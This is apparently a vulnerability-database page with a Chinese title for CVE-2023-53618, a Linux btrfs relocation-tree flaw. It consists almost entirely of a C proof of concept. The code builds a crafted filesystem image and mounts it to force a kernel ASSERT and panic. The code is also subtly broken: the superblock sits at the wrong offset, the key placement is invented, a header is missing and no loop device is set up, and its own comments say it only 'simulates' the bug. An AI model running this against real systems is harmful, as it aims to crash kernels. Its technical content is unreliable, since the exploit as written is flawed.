CVE-2023-53618 Linux内核btrfs文件系统无效重定位树根键漏洞

// PoC for CVE-2023-53618 - Trigger btrfs ASSERT() via corrupted reloc tree root key // This PoC simulates the conditions that trigger the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/fs.h> // Simulate creating a corrupted btrfs filesystem image // with invalid reloc tree root key for a non-subvolume tree int create_corrupted_btrfs_image(const char *path) { int fd = open(path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return -1; } // Create a minimal btrfs superblock unsigned char superblock[4096] = {0}; // Set magic number "_BHRfS_M" superblock[0x40] = '_'; superblock[0x41] = 'B'; superblock[0x42] = 'H'; superblock[0x43] = 'R'; superblock[0x44] = 'f'; superblock[0x45] = 'S'; superblock[0x46] = '_'; superblock[0x47] = 'M'; // Write corrupted reloc tree root key // ObjectID = TREE_RELOC_OBJECTID (-8) // Type = ROOT_ITEM (132) // Offset = QUOTA_TREE_OBJECTID (8) - this is invalid for reloc tree unsigned long long *root_key = (unsigned long long *)(superblock + 0xB0); root_key[0] = (unsigned long long)-8; // TREE_RELOC_OBJECTID root_key[1] = 132; // ROOT_ITEM type root_key[2] = 8; // QUOTA_TREE_OBJECTID (invalid) write(fd, superblock, sizeof(superblock)); close(fd); return 0; } int main(int argc, char *argv[]) { const char *image_path = "/tmp/corrupted_btrfs.img"; printf("Creating corrupted btrfs image...\n"); if (create_corrupted_btrfs_image(image_path) < 0) { return 1; } printf("Attempting to mount corrupted btrfs image...\n"); // Mount the image to trigger the ASSERT() in prepare_to_merge() // This will cause kernel panic / oops with stack dump if (mount(image_path, "/mnt/test", "btrfs", 0, NULL) < 0) { perror("mount"); printf("Note: Direct mount may require loop device setup\n"); } return 0; }